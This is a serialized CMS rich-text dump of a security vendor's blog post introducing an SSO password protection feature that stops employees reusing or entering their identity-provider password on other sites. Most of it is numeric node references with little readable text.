",{"data":194177,"content":194181,"nodeType":33606},{"target":194178},{"sys":194179},{"id":194180,"type":909,"linkType":910},"3F96pyn4qqkbVctSOH69vm",[194182],{"data":194183,"marks":194184,"value":105875,"nodeType":865},{},[],{"data":194186,"marks":194187,"value":194188,"nodeType":865},{},[]," on any low-risk app where the user is an admin or by using apps like ",{"data":194190,"content":194194,"nodeType":33606},{"target":194191},{"sys":194192},{"id":194193,"type":909,"linkType":910},"2rjLrCo6KWwLicfpV2qTOZ",[194195],{"data":194196,"marks":194197,"value":182579,"nodeType":865},{},[],{"data":194199,"marks":194200,"value":4988,"nodeType":865},{},[],{"data":194202,"content":194206,"nodeType":33606},{"target":194203},{"sys":194204},{"id":194205,"type":909,"linkType":910},"2cv7Yq1DQpm1Mho7fKDs44",[194207],{"data":194208,"marks":194209,"value":182591,"nodeType":865},{},[],{"data":194211,"marks":194212,"value":194213,"nodeType":865},{},[]," to phish higher-privilege users.",{"data":194215,"content":194216,"nodeType":1317},{},[194217],{"data":194218,"marks":194219,"value":194220,"nodeType":865},{},[],"It also protects against credential stuffing attacks",{"data":194222,"content":194223,"nodeType":866},{},[194224,194228,194233],{"data":194225,"marks":194226,"value":194227,"nodeType":865},{},[],"As well as protecting your users against phishing, the SSO password protection feature can prevent credential stuffing attacks succeeding against your IdP instance. How? By stopping your employees from reusing their SSO password on other apps.  \nPush monitors the identities of thousands of employees. Around ",{"data":194229,"marks":194230,"value":194232,"nodeType":865},{},[194231],{"type":926},"1 in 3 of them reuse passwords",{"data":194234,"marks":194235,"value":194236,"nodeType":865},{},[]," across multiple accounts. ",{"data":194238,"content":194239,"nodeType":866},{},[194240],{"data":194241,"marks":194242,"value":194243,"nodeType":865},{},[],"Employees know that their SSO password is one they’ll need to use a lot, and so they tend to choose one they know they will remember, because they are already using it successfully. That’s why we see higher levels of password reuse on IdP apps in particular.",{"data":194245,"content":194246,"nodeType":866},{},[194247],{"data":194248,"marks":194249,"value":194250,"nodeType":865},{},[],"Every time an SSO password is reused on another app, its exposure increases, along with the likelihood of it falling into the wrong hands. This can happen when another app experiences a breach and credentials are stolen. Or alternatively, when an attacker steals credentials in a phishing attack aimed at users of other apps where the password is being reused.",{"data":194252,"content":194253,"nodeType":866},{},[194254],{"data":194255,"marks":194256,"value":194257,"nodeType":865},{},[],"Armed with stolen credentials, an attacker can spray them across common cloud apps and see what additional accounts they can gain access to. IdP apps will be high on the list of cloud apps attackers will try because they provide much more in the way of access than a general SaaS user account.",{"data":194259,"content":194260,"nodeType":866},{},[194261],{"data":194262,"marks":194263,"value":194264,"nodeType":865},{},[],"You might be wondering if this feature can also be used to stop other password attacks such as password spraying and brute-forcing attacks. While this specific feature does not, Push’s other features do. ",{"data":194266,"content":194267,"nodeType":866},{},[194268,194272,194277],{"data":194269,"marks":194270,"value":194271,"nodeType":865},{},[],"These include ",{"data":194273,"marks":194274,"value":194276,"nodeType":865},{},[194275],{"type":926},"in-browser guidance",{"data":194278,"marks":194279,"value":194280,"nodeType":865},{},[]," that stops users from creating and using easily guessable passwords as well as Push’s ability to detect when employees are not registered for MFA (and whether the methods they are using are phishing-resistant or not).",{"data":194282,"content":194286,"nodeType":912},{"target":194283},{"sys":194284},{"id":194285,"type":909,"linkType":910},"uy6utpRA35spZFM7Da4Nt",[],{"data":194288,"content":194289,"nodeType":1317},{},[194290],{"data":194291,"marks":194292,"value":113824,"nodeType":865},{},[],{"data":194294,"content":194295,"nodeType":866},{},[194296,194299,194305],{"data":194297,"marks":194298,"value":126944,"nodeType":865},{},[],{"data":194300,"content":194301,"nodeType":889},{"uri":16069},[194302],{"data":194303,"marks":194304,"value":14066,"nodeType":865},{},[],{"data":194306,"marks":194307,"value":194308,"nodeType":865},{},[],". We’ll be happy to show you this feature, along with how we discover all the apps your employees are using and how we detect vulnerable identities.","Introducing SSO Password Protection: Stop employees’ IdP credentials being exposed or phished","Use the Push browser agent’s unique vantage point to protect SSO credentials by blocking employees from entering their password into any other site. ","2024-04-29T00:00:00.000Z","introducing-sso-password-protection",{"items":194314},[194315,194317],{"sys":194316,"name":342},{"id":4642},{"sys":194318,"name":126984},{"id":126983},{"items":194320},[194321],{"fullName":4614,"firstName":4615,"jobTitle":4616,"profilePicture":194322},{"url":4618},{"__typename":1429,"sys":194324,"content":194325,"title":185939,"synopsis":185940,"hashTags":59,"publishedDate":185941,"slug":185942,"tagsCollection":196996,"authorsCollection":197002},{"id":182999},{"json":194326},{"data":194327,"content":194328,"nodeType":1382},{},[194329,194335,194361,194367,194372,194378,194394,194415,194421,194427,194447,194460,194466,194476,194482,194485,194491,194497,194510,194520,194529,194555,194558,194564,194580,194586,194593,194678,194684,194800,194806,194907,194913,194919,195079,195085,195091,195166,195169,195175,195181,195187,195244,195250,195280,195286,195325,195331,195337,195556,195562,195569,195575,195578,195584,195590,195596,195644,195650,195689,195695,195725,195731,195737,195897,195903,195910,195916,195923,195929,195936,195942,195945,195951,195957,195963,196020,196026,196056,196062,196092,196098,196104,196205,196208,196214,196220,196226,196283,196289,196319,196325,196355,196361,196367,196531,196534,196540,196546,196552,196618,196624,196654,196660,196690,196696,196702,196921,196924,196930,196936,196942,196948,196951,196957,196963,196969,196972,196978,196984,196990],{"data":194330,"content":194331,"nodeType":981},{},[194332],{"data":194333,"marks":194334,"value":183010,"nodeType":865},{},[],{"data":194336,"content":194337,"nodeType":866},{},[194338,194341,194348,194351,194358],{"data":194339,"marks":194340,"value":183017,"nodeType":865},{},[],{"data":194342,"content":194343,"nodeType":889},{"uri":183020},[194344],{"data":194345,"marks":194346,"value":183026,"nodeType":865},{},[194347],{"type":943},{"data":194349,"marks":194350,"value":183030,"nodeType":865},{},[],{"data":194352,"content":194353,"nodeType":889},{"uri":183033},[194354],{"data":194355,"marks":194356,"value":183039,"nodeType":865},{},[194357],{"type":943},{"data":194359,"marks":194360,"value":1615,"nodeType":865},{},[],{"data":194362,"content":194363,"nodeType":866},{},[194364],{"data":194365,"marks":194366,"value":183049,"nodeType":865},{},[],{"data":194368,"content":194371,"nodeType":912},{"target":194369},{"sys":194370},{"id":183054,"type":909,"linkType":910},[],{"data":194373,"content":194374,"nodeType":866},{},[194375],{"data":194376,"marks":194377,"value":183062,"nodeType":865},{},[],{"data":194379,"content":194380,"nodeType":866},{},[194381,194384,194391],{"data":194382,"marks":194383,"value":183069,"nodeType":865},{},[],{"data":194385,"content":194386,"nodeType":889},{"uri":183072},[194387],{"data":194388,"marks":194389,"value":183078,"nodeType":865},{},[194390],{"type":943},{"data":194392,"marks":194393,"value":183082,"nodeType":865},{},[],{"data":194395,"content":194396,"nodeType":1616},{},[194397,194406],{"data":194398,"content":194399,"nodeType":1570},{},[194400],{"data":194401,"content":194402,"nodeType":866},{},[194403],{"data":194404,"marks":194405,"value":183095,"nodeType":865},{},[],{"data":194407,"content":194408,"nodeType":1570},{},[194409],{"data":194410,"content":194411,"nodeType":866},{},[194412],{"data":194413,"marks":194414,"value":183105,"nodeType":865},{},[],{"data":194416,"content":194417,"nodeType":866},{},[194418],{"data":194419,"marks":194420,"value":183112,"nodeType":865},{},[],{"data":194422,"content":194423,"nodeType":1317},{},[194424],{"data":194425,"marks":194426,"value":183119,"nodeType":865},{},[],{"data":194428,"content":194429,"nodeType":866},{},[194430,194433,194437,194440,194444],{"data":194431,"marks":194432,"value":183126,"nodeType":865},{},[],{"data":194434,"marks":194435,"value":183131,"nodeType":865},{},[194436],{"type":926},{"data":194438,"marks":194439,"value":183135,"nodeType":865},{},[],{"data":194441,"marks":194442,"value":183140,"nodeType":865},{},[194443],{"type":898},{"data":194445,"marks":194446,"value":5959,"nodeType":865},{},[],{"data":194448,"content":194449,"nodeType":866},{},[194450,194453,194457],{"data":194451,"marks":194452,"value":183150,"nodeType":865},{},[],{"data":194454,"marks":194455,"value":183155,"nodeType":865},{},[194456],{"type":926},{"data":194458,"marks":194459,"value":183159,"nodeType":865},{},[],{"data":194461,"content":194462,"nodeType":866},{},[194463],{"data":194464,"marks":194465,"value":183166,"nodeType":865},{},[],{"data":194467,"content":194468,"nodeType":866},{},[194469,194472],{"data":194470,"marks":194471,"value":183173,"nodeType":865},{},[],{"data":194473,"marks":194474,"value":183178,"nodeType":865},{},[194475],{"type":926},{"data":194477,"content":194478,"nodeType":866},{},[194479],{"data":194480,"marks":194481,"value":183185,"nodeType":865},{},[],{"data":194483,"content":194484,"nodeType":972},{},[],{"data":194486,"content":194487,"nodeType":981},{},[194488],{"data":194489,"marks":194490,"value":183195,"nodeType":865},{},[],{"data":194492,"content":194493,"nodeType":866},{},[194494],{"data":194495,"marks":194496,"value":183202,"nodeType":865},{},[],{"data":194498,"content":194499,"nodeType":866},{},[194500,194503,194507],{"data":194501,"marks":194502,"value":183209,"nodeType":865},{},[],{"data":194504,"marks":194505,"value":183214,"nodeType":865},{},[194506],{"type":898},{"data":194508,"marks":194509,"value":183218,"nodeType":865},{},[],{"data":194511,"content":194512,"nodeType":866},{},[194513,194516],{"data":194514,"marks":194515,"value":183225,"nodeType":865},{},[],{"data":194517,"marks":194518,"value":183230,"nodeType":865},{},[194519],{"type":926},{"data":194521,"content":194522,"nodeType":866},{},[194523,194526],{"data":194524,"marks":194525,"value":183237,"nodeType":865},{},[],{"data":194527,"marks":194528,"value":183241,"nodeType":865},{},[],{"data":194530,"content":194531,"nodeType":866},{},[194532,194535,194542,194545,194552],{"data":194533,"marks":194534,"value":183248,"nodeType":865},{},[],{"data":194536,"content":194537,"nodeType":889},{"uri":8393},[194538],{"data":194539,"marks":194540,"value":8396,"nodeType":865},{},[194541],{"type":943},{"data":194543,"marks":194544,"value":183259,"nodeType":865},{},[],{"data":194546,"content":194547,"nodeType":889},{"uri":183262},[194548],{"data":194549,"marks":194550,"value":183268,"nodeType":865},{},[194551],{"type":943},{"data":194553,"marks":194554,"value":6719,"nodeType":865},{},[],{"data":194556,"content":194557,"nodeType":972},{},[],{"data":194559,"content":194560,"nodeType":981},{},[194561],{"data":194562,"marks":194563,"value":183281,"nodeType":865},{},[],{"data":194565,"content":194566,"nodeType":866},{},[194567,194570,194577],{"data":194568,"marks":194569,"value":183288,"nodeType":865},{},[],{"data":194571,"content":194572,"nodeType":889},{"uri":15841},[194573],{"data":194574,"marks":194575,"value":183296,"nodeType":865},{},[194576],{"type":943},{"data":194578,"marks":194579,"value":14251,"nodeType":865},{},[],{"data":194581,"content":194582,"nodeType":1317},{},[194583],{"data":194584,"marks":194585,"value":183306,"nodeType":865},{},[],{"data":194587,"content":194588,"nodeType":866},{},[194589],{"data":194590,"marks":194591,"value":183314,"nodeType":865},{},[194592],{"type":898},{"data":194594,"content":194595,"nodeType":1616},{},[194596,194605,194624,194633,194642,194651,194660,194669],{"data":194597,"content":194598,"nodeType":1570},{},[194599],{"data":194600,"content":194601,"nodeType":866},{},[194602],{"data":194603,"marks":194604,"value":183327,"nodeType":865},{},[],{"data":194606,"content":194607,"nodeType":1570},{},[194608],{"data":194609,"content":194610,"nodeType":866},{},[194611,194614,194621],{"data":194612,"marks":194613,"value":183337,"nodeType":865},{},[],{"data":194615,"content":194616,"nodeType":889},{"uri":162474},[194617],{"data":194618,"marks":194619,"value":183345,"nodeType":865},{},[194620],{"type":943},{"data":194622,"marks":194623,"value":183349,"nodeType":865},{},[],{"data":194625,"content":194626,"nodeType":1570},{},[194627],{"data":194628,"content":194629,"nodeType":866},{},[194630],{"data":194631,"marks":194632,"value":183359,"nodeType":865},{},[],{"data":194634,"content":194635,"nodeType":1570},{},[194636],{"data":194637,"content":194638,"nodeType":866},{},[194639],{"data":194640,"marks":194641,"value":61882,"nodeType":865},{},[],{"data":194643,"content":194644,"nodeType":1570},{},[194645],{"data":194646,"content":194647,"nodeType":866},{},[194648],{"data":194649,"marks":194650,"value":61892,"nodeType":865},{},[],{"data":194652,"content":194653,"nodeType":1570},{},[194654],{"data":194655,"content":194656,"nodeType":866},{},[194657],{"data":194658,"marks":194659,"value":61902,"nodeType":865},{},[],{"data":194661,"content":194662,"nodeType":1570},{},[194663],{"data":194664,"content":194665,"nodeType":866},{},[194666],{"data":194667,"marks":194668,"value":183396,"nodeType":865},{},[],{"data":194670,"content":194671,"nodeType":1570},{},[194672],{"data":194673,"content":194674,"nodeType":866},{},[194675],{"data":194676,"marks":194677,"value":183406,"nodeType":865},{},[],{"data":194679,"content":194680,"nodeType":1317},{},[194681],{"data":194682,"marks":194683,"value":183413,"nodeType":865},{},[],{"data":194685,"content":194686,"nodeType":1616},{},[194687,194703,194729,194752,194768,194784],{"data":194688,"content":194689,"nodeType":1570},{},[194690],{"data":194691,"content":194692,"nodeType":866},{},[194693,194696,194700],{"data":194694,"marks":194695,"value":183426,"nodeType":865},{},[],{"data":194697,"marks":194698,"value":183431,"nodeType":865},{},[194699],{"type":926},{"data":194701,"marks":194702,"value":183435,"nodeType":865},{},[],{"data":194704,"content":194705,"nodeType":1570},{},[194706],{"data":194707,"content":194708,"nodeType":866},{},[194709,194712,194716,194719,194726],{"data":194710,"marks":194711,"value":183445,"nodeType":865},{},[],{"data":194713,"marks":194714,"value":183450,"nodeType":865},{},[194715],{"type":926},{"data":194717,"marks":194718,"value":183454,"nodeType":865},{},[],{"data":194720,"content":194721,"nodeType":889},{"uri":61637},[194722],{"data":194723,"marks":194724,"value":61643,"nodeType":865},{},[194725],{"type":943},{"data":194727,"marks":194728,"value":61647,"nodeType":865},{},[],{"data":194730,"content":194731,"nodeType":1570},{},[194732],{"data":194733,"content":194734,"nodeType":866},{},[194735,194738,194742,194745,194749],{"data":194736,"marks":194737,"value":183474,"nodeType":865},{},[],{"data":194739,"marks":194740,"value":183479,"nodeType":865},{},[194741],{"type":926},{"data":194743,"marks":194744,"value":183483,"nodeType":865},{},[],{"data":194746,"marks":194747,"value":183488,"nodeType":865},{},[194748],{"type":926},{"data":194750,"marks":194751,"value":183492,"nodeType":865},{},[],{"data":194753,"content":194754,"nodeType":1570},{},[194755],{"data":194756,"content":194757,"nodeType":866},{},[194758,194761,194765],{"data":194759,"marks":194760,"value":183502,"nodeType":865},{},[],{"data":194762,"marks":194763,"value":183507,"nodeType":865},{},[194764],{"type":926},{"data":194766,"marks":194767,"value":183511,"nodeType":865},{},[],{"data":194769,"content":194770,"nodeType":1570},{},[194771],{"data":194772,"content":194773,"nodeType":866},{},[194774,194777,194781],{"data":194775,"marks":194776,"value":183521,"nodeType":865},{},[],{"data":194778,"marks":194779,"value":183526,"nodeType":865},{},[194780],{"type":926},{"data":194782,"marks":194783,"value":183530,"nodeType":865},{},[],{"data":194785,"content":194786,"nodeType":1570},{},[194787],{"data":194788,"content":194789,"nodeType":866},{},[194790,194793,194797],{"data":194791,"marks":194792,"value":183540,"nodeType":865},{},[],{"data":194794,"marks":194795,"value":183545,"nodeType":865},{},[194796],{"type":926},{"data":194798,"marks":194799,"value":183549,"nodeType":865},{},[],{"data":194801,"content":194802,"nodeType":1317},{},[194803],{"data":194804,"marks":194805,"value":183556,"nodeType":865},{},[],{"data":194807,"content":194808,"nodeType":1616},{},[194809,194825,194861,194884],{"data":194810,"content":194811,"nodeType":1570},{},[194812],{"data":194813,"content":194814,"nodeType":866},{},[194815,194818,194822],{"data":194816,"marks":194817,"value":183569,"nodeType":865},{},[],{"data":194819,"marks":194820,"value":183574,"nodeType":865},{},[194821],{"type":926},{"data":194823,"marks":194824,"value":183578,"nodeType":865},{},[],{"data":194826,"content":194827,"nodeType":1570},{},[194828],{"data":194829,"content":194830,"nodeType":866},{},[194831,194834,194841,194844,194848,194851,194858],{"data":194832,"marks":194833,"value":183588,"nodeType":865},{},[],{"data":194835,"content":194836,"nodeType":889},{"uri":183591},[194837],{"data":194838,"marks":194839,"value":6715,"nodeType":865},{},[194840],{"type":943},{"data":194842,"marks":194843,"value":2717,"nodeType":865},{},[],{"data":194845,"marks":194846,"value":183604,"nodeType":865},{},[194847],{"type":926},{"data":194849,"marks":194850,"value":183608,"nodeType":865},{},[],{"data":194852,"content":194853,"nodeType":889},{"uri":169364},[194854],{"data":194855,"marks":194856,"value":183616,"nodeType":865},{},[194857],{"type":943},{"data":194859,"marks":194860,"value":113401,"nodeType":865},{},[],{"data":194862,"content":194863,"nodeType":1570},{},[194864],{"data":194865,"content":194866,"nodeType":866},{},[194867,194871,194874,194881],{"data":194868,"marks":194869,"value":183630,"nodeType":865},{},[194870],{"type":926},{"data":194872,"marks":194873,"value":183634,"nodeType":865},{},[],{"data":194875,"content":194876,"nodeType":889},{"uri":62047},[194877],{"data":194878,"marks":194879,"value":183642,"nodeType":865},{},[194880],{"type":943},{"data":194882,"marks":194883,"value":183646,"nodeType":865},{},[],{"data":194885,"content":194886,"nodeType":1570},{},[194887],{"data":194888,"content":194889,"nodeType":866},{},[194890,194893,194897,194900,194904],{"data":194891,"marks":194892,"value":183656,"nodeType":865},{},[],{"data":194894,"marks":194895,"value":183661,"nodeType":865},{},[194896],{"type":926},{"data":194898,"marks":194899,"value":183665,"nodeType":865},{},[],{"data":194901,"marks":194902,"value":183670,"nodeType":865},{},[194903],{"type":926},{"data":194905,"marks":194906,"value":183674,"nodeType":865},{},[],{"data":194908,"content":194909,"nodeType":1317},{},[194910],{"data":194911,"marks":194912,"value":183681,"nodeType":865},{},[],{"data":194914,"content":194915,"nodeType":866},{},[194916],{"data":194917,"marks":194918,"value":183688,"nodeType":865},{},[],{"data":194920,"content":194921,"nodeType":2927},{},[194922,194961,195020],{"data":194923,"content":194924,"nodeType":2400},{},[194925,194934,194943,194952],{"data":194926,"content":194927,"nodeType":38076},{},[194928],{"data":194929,"content":194930,"nodeType":866},{},[194931],{"data":194932,"marks":194933,"value":183704,"nodeType":865},{},[],{"data":194935,"content":194936,"nodeType":38076},{},[194937],{"data":194938,"content":194939,"nodeType":866},{},[194940],{"data":194941,"marks":194942,"value":183714,"nodeType":865},{},[],{"data":194944,"content":194945,"nodeType":38076},{},[194946],{"data":194947,"content":194948,"nodeType":866},{},[194949],{"data":194950,"marks":194951,"value":183724,"nodeType":865},{},[],{"data":194953,"content":194954,"nodeType":38076},{},[194955],{"data":194956,"content":194957,"nodeType":866},{},[194958],{"data":194959,"marks":194960,"value":183734,"nodeType":865},{},[],{"data":194962,"content":194963,"nodeType":2400},{},[194964,194983,195002,195011],{"data":194965,"content":194966,"nodeType":2366},{},[194967],{"data":194968,"content":194969,"nodeType":866},{},[194970,194973,194980],{"data":194971,"marks":194972,"value":21,"nodeType":865},{},[],{"data":194974,"content":194975,"nodeType":889},{"uri":53259},[194976],{"data":194977,"marks":194978,"value":183754,"nodeType":865},{},[194979],{"type":943},{"data":194981,"marks":194982,"value":21,"nodeType":865},{},[],{"data":194984,"content":194985,"nodeType":2366},{},[194986],{"data":194987,"content":194988,"nodeType":866},{},[194989,194992,194999],{"data":194990,"marks":194991,"value":21,"nodeType":865},{},[],{"data":194993,"content":194994,"nodeType":889},{"uri":183591},[194995],{"data":194996,"marks":194997,"value":395,"nodeType":865},{},[194998],{"type":943},{"data":195000,"marks":195001,"value":21,"nodeType":865},{},[],{"data":195003,"content":195004,"nodeType":2366},{},[195005],{"data":195006,"content":195007,"nodeType":866},{},[195008],{"data":195009,"marks":195010,"value":183786,"nodeType":865},{},[],{"data":195012,"content":195013,"nodeType":2366},{},[195014],{"data":195015,"content":195016,"nodeType":866},{},[195017],{"data":195018,"marks":195019,"value":183796,"nodeType":865},{},[],{"data":195021,"content":195022,"nodeType":2400},{},[195023,195042,195061,195070],{"data":195024,"content":195025,"nodeType":2366},{},[195026],{"data":195027,"content":195028,"nodeType":866},{},[195029,195032,195039],{"data":195030,"marks":195031,"value":21,"nodeType":865},{},[],{"data":195033,"content":195034,"nodeType":889},{"uri":147580},[195035],{"data":195036,"marks":195037,"value":183816,"nodeType":865},{},[195038],{"type":943},{"data":195040,"marks":195041,"value":21,"nodeType":865},{},[],{"data":195043,"content":195044,"nodeType":2366},{},[195045],{"data":195046,"content":195047,"nodeType":866},{},[195048,195051,195058],{"data":195049,"marks":195050,"value":21,"nodeType":865},{},[],{"data":195052,"content":195053,"nodeType":889},{"uri":183831},[195054],{"data":195055,"marks":195056,"value":169556,"nodeType":865},{},[195057],{"type":943},{"data":195059,"marks":195060,"value":21,"nodeType":865},{},[],{"data":195062,"content":195063,"nodeType":2366},{},[195064],{"data":195065,"content":195066,"nodeType":866},{},[195067],{"data":195068,"marks":195069,"value":183849,"nodeType":865},{},[],{"data":195071,"content":195072,"nodeType":2366},{},[195073],{"data":195074,"content":195075,"nodeType":866},{},[195076],{"data":195077,"marks":195078,"value":183859,"nodeType":865},{},[],{"data":195080,"content":195081,"nodeType":1317},{},[195082],{"data":195083,"marks":195084,"value":183866,"nodeType":865},{},[],{"data":195086,"content":195087,"nodeType":866},{},[195088],{"data":195089,"marks":195090,"value":183873,"nodeType":865},{},[],{"data":195092,"content":195093,"nodeType":1616},{},[195094,195103,195112,195121,195130,195139,195148,195157],{"data":195095,"content":195096,"nodeType":1570},{},[195097],{"data":195098,"content":195099,"nodeType":866},{},[195100],{"data":195101,"marks":195102,"value":183886,"nodeType":865},{},[],{"data":195104,"content":195105,"nodeType":1570},{},[195106],{"data":195107,"content":195108,"nodeType":866},{},[195109],{"data":195110,"marks":195111,"value":183896,"nodeType":865},{},[],{"data":195113,"content":195114,"nodeType":1570},{},[195115],{"data":195116,"content":195117,"nodeType":866},{},[195118],{"data":195119,"marks":195120,"value":183906,"nodeType":865},{},[],{"data":195122,"content":195123,"nodeType":1570},{},[195124],{"data":195125,"content":195126,"nodeType":866},{},[195127],{"data":195128,"marks":195129,"value":183916,"nodeType":865},{},[],{"data":195131,"content":195132,"nodeType":1570},{},[195133],{"data":195134,"content":195135,"nodeType":866},{},[195136],{"data":195137,"marks":195138,"value":183926,"nodeType":865},{},[],{"data":195140,"content":195141,"nodeType":1570},{},[195142],{"data":195143,"content":195144,"nodeType":866},{},[195145],{"data":195146,"marks":195147,"value":183936,"nodeType":865},{},[],{"data":195149,"content":195150,"nodeType":1570},{},[195151],{"data":195152,"content":195153,"nodeType":866},{},[195154],{"data":195155,"marks":195156,"value":183946,"nodeType":865},{},[],{"data":195158,"content":195159,"nodeType":1570},{},[195160],{"data":195161,"content":195162,"nodeType":866},{},[195163],{"data":195164,"marks":195165,"value":183956,"nodeType":865},{},[],{"data":195167,"content":195168,"nodeType":972},{},[],{"data":195170,"content":195171,"nodeType":981},{},[195172],{"data":195173,"marks":195174,"value":183966,"nodeType":865},{},[],{"data":195176,"content":195177,"nodeType":866},{},[195178],{"data":195179,"marks":195180,"value":183973,"nodeType":865},{},[],{"data":195182,"content":195183,"nodeType":1317},{},[195184],{"data":195185,"marks":195186,"value":183980,"nodeType":865},{},[],{"data":195188,"content":195189,"nodeType":1616},{},[195190,195199,195208,195217,195226,195235],{"data":195191,"content":195192,"nodeType":1570},{},[195193],{"data":195194,"content":195195,"nodeType":866},{},[195196],{"data":195197,"marks":195198,"value":183993,"nodeType":865},{},[],{"data":195200,"content":195201,"nodeType":1570},{},[195202],{"data":195203,"content":195204,"nodeType":866},{},[195205],{"data":195206,"marks":195207,"value":184003,"nodeType":865},{},[],{"data":195209,"content":195210,"nodeType":1570},{},[195211],{"data":195212,"content":195213,"nodeType":866},{},[195214],{"data":195215,"marks":195216,"value":184013,"nodeType":865},{},[],{"data":195218,"content":195219,"nodeType":1570},{},[195220],{"data":195221,"content":195222,"nodeType":866},{},[195223],{"data":195224,"marks":195225,"value":184023,"nodeType":865},{},[],{"data":195227,"content":195228,"nodeType":1570},{},[195229],{"data":195230,"content":195231,"nodeType":866},{},[195232],{"data":195233,"marks":195234,"value":184033,"nodeType":865},{},[],{"data":195236,"content":195237,"nodeType":1570},{},[195238],{"data":195239,"content":195240,"nodeType":866},{},[195241],{"data":195242,"marks":195243,"value":184043,"nodeType":865},{},[],{"data":195245,"content":195246,"nodeType":1317},{},[195247],{"data":195248,"marks":195249,"value":184050,"nodeType":865},{},[],{"data":195251,"content":195252,"nodeType":1616},{},[195253,195262,195271],{"data":195254,"content":195255,"nodeType":1570},{},[195256],{"data":195257,"content":195258,"nodeType":866},{},[195259],{"data":195260,"marks":195261,"value":184063,"nodeType":865},{},[],{"data":195263,"content":195264,"nodeType":1570},{},[195265],{"data":195266,"content":195267,"nodeType":866},{},[195268],{"data":195269,"marks":195270,"value":184073,"nodeType":865},{},[],{"data":195272,"content":195273,"nodeType":1570},{},[195274],{"data":195275,"content":195276,"nodeType":866},{},[195277],{"data":195278,"marks":195279,"value":184083,"nodeType":865},{},[],{"data":195281,"content":195282,"nodeType":1317},{},[195283],{"data":195284,"marks":195285,"value":184090,"nodeType":865},{},[],{"data":195287,"content":195288,"nodeType":1616},{},[195289,195298,195307,195316],{"data":195290,"content":195291,"nodeType":1570},{},[195292],{"data":195293,"content":195294,"nodeType":866},{},[195295],{"data":195296,"marks":195297,"value":184103,"nodeType":865},{},[],{"data":195299,"content":195300,"nodeType":1570},{},[195301],{"data":195302,"content":195303,"nodeType":866},{},[195304],{"data":195305,"marks":195306,"value":184113,"nodeType":865},{},[],{"data":195308,"content":195309,"nodeType":1570},{},[195310],{"data":195311,"content":195312,"nodeType":866},{},[195313],{"data":195314,"marks":195315,"value":184123,"nodeType":865},{},[],{"data":195317,"content":195318,"nodeType":1570},{},[195319],{"data":195320,"content":195321,"nodeType":866},{},[195322],{"data":195323,"marks":195324,"value":184133,"nodeType":865},{},[],{"data":195326,"content":195327,"nodeType":1317},{},[195328],{"data":195329,"marks":195330,"value":183681,"nodeType":865},{},[],{"data":195332,"content":195333,"nodeType":866},{},[195334],{"data":195335,"marks":195336,"value":183688,"nodeType":865},{},[],{"data":195338,"content":195339,"nodeType":2927},{},[195340,195379,195438,195497],{"data":195341,"content":195342,"nodeType":2400},{},[195343,195352,195361,195370],{"data":195344,"content":195345,"nodeType":38076},{},[195346],{"data":195347,"content":195348,"nodeType":866},{},[195349],{"data":195350,"marks":195351,"value":183704,"nodeType":865},{},[],{"data":195353,"content":195354,"nodeType":38076},{},[195355],{"data":195356,"content":195357,"nodeType":866},{},[195358],{"data":195359,"marks":195360,"value":184170,"nodeType":865},{},[],{"data":195362,"content":195363,"nodeType":38076},{},[195364],{"data":195365,"content":195366,"nodeType":866},{},[195367],{"data":195368,"marks":195369,"value":183724,"nodeType":865},{},[],{"data":195371,"content":195372,"nodeType":38076},{},[195373],{"data":195374,"content":195375,"nodeType":866},{},[195376],{"data":195377,"marks":195378,"value":183734,"nodeType":865},{},[],{"data":195380,"content":195381,"nodeType":2400},{},[195382,195401,195420,195429],{"data":195383,"content":195384,"nodeType":2366},{},[195385],{"data":195386,"content":195387,"nodeType":866},{},[195388,195391,195398],{"data":195389,"marks":195390,"value":21,"nodeType":865},{},[],{"data":195392,"content":195393,"nodeType":889},{"uri":169182},[195394],{"data":195395,"marks":195396,"value":184208,"nodeType":865},{},[195397],{"type":943},{"data":195399,"marks":195400,"value":21,"nodeType":865},{},[],{"data":195402,"content":195403,"nodeType":2366},{},[195404],{"data":195405,"content":195406,"nodeType":866},{},[195407,195410,195417],{"data":195408,"marks":195409,"value":21,"nodeType":865},{},[],{"data":195411,"content":195412,"nodeType":889},{"uri":184223},[195413],{"data":195414,"marks":195415,"value":333,"nodeType":865},{},[195416],{"type":943},{"data":195418,"marks":195419,"value":21,"nodeType":865},{},[],{"data":195421,"content":195422,"nodeType":2366},{},[195423],{"data":195424,"content":195425,"nodeType":866},{},[195426],{"data":195427,"marks":195428,"value":184241,"nodeType":865},{},[],{"data":195430,"content":195431,"nodeType":2366},{},[195432],{"data":195433,"content":195434,"nodeType":866},{},[195435],{"data":195436,"marks":195437,"value":184251,"nodeType":865},{},[],{"data":195439,"content":195440,"nodeType":2400},{},[195441,195460,195479,195488],{"data":195442,"content":195443,"nodeType":2366},{},[195444],{"data":195445,"content":195446,"nodeType":866},{},[195447,195450,195457],{"data":195448,"marks":195449,"value":21,"nodeType":865},{},[],{"data":195451,"content":195452,"nodeType":889},{"uri":169773},[195453],{"data":195454,"marks":195455,"value":184271,"nodeType":865},{},[195456],{"type":943},{"data":195458,"marks":195459,"value":21,"nodeType":865},{},[],{"data":195461,"content":195462,"nodeType":2366},{},[195463],{"data":195464,"content":195465,"nodeType":866},{},[195466,195469,195476],{"data":195467,"marks":195468,"value":21,"nodeType":865},{},[],{"data":195470,"content":195471,"nodeType":889},{"uri":184286},[195472],{"data":195473,"marks":195474,"value":169779,"nodeType":865},{},[195475],{"type":943},{"data":195477,"marks":195478,"value":21,"nodeType":865},{},[],{"data":195480,"content":195481,"nodeType":2366},{},[195482],{"data":195483,"content":195484,"nodeType":866},{},[195485],{"data":195486,"marks":195487,"value":184304,"nodeType":865},{},[],{"data":195489,"content":195490,"nodeType":2366},{},[195491],{"data":195492,"content":195493,"nodeType":866},{},[195494],{"data":195495,"marks":195496,"value":184314,"nodeType":865},{},[],{"data":195498,"content":195499,"nodeType":2400},{},[195500,195519,195538,195547],{"data":195501,"content":195502,"nodeType":2366},{},[195503],{"data":195504,"content":195505,"nodeType":866},{},[195506,195509,195516],{"data":195507,"marks":195508,"value":21,"nodeType":865},{},[],{"data":195510,"content":195511,"nodeType":889},{"uri":170004},[195512],{"data":195513,"marks":195514,"value":184334,"nodeType":865},{},[195515],{"type":943},{"data":195517,"marks":195518,"value":21,"nodeType":865},{},[],{"data":195520,"content":195521,"nodeType":2366},{},[195522],{"data":195523,"content":195524,"nodeType":866},{},[195525,195528,195535],{"data":195526,"marks":195527,"value":21,"nodeType":865},{},[],{"data":195529,"content":195530,"nodeType":889},{"uri":184349},[195531],{"data":195532,"marks":195533,"value":184355,"nodeType":865},{},[195534],{"type":943},{"data":195536,"marks":195537,"value":21,"nodeType":865},{},[],{"data":195539,"content":195540,"nodeType":2366},{}